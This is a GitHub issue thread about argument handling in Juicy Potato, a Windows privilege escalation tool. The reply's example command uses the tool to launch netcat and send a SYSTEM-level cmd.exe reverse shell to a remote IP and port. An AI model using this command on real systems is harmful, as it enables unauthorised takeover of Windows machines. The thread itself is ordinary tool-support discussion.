ohpe / juicy-potato

A sugared version of RottenPotatoNG, with a bit of juice, i.e. another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM.
https://ohpe.github.io/juicy-potato/
GNU General Public License v3.0
2.42k stars 466 forks source link

Unable to pass arguments which have a hifen #10

Closed shankara-n closed 3 years ago

shankara-n commented 4 years ago

Hey. Im trying to pass an argument like '-url XYZ' but Juicy Potato interprets it as an option, if i use quotes or tildes, the quootes and tildes get passed as an argument. Please provide a fix or instructions on how I can workarond this.

0xTen commented 4 years ago

you have to do something like ./juicypotato.exe -t -p C:\path\to\process -a "arguments, flags, etc.", for example: ./juicypotato.exe -t -p C:\temp\nc.exe -a "-e cmd.exe 10.10.76.43 443"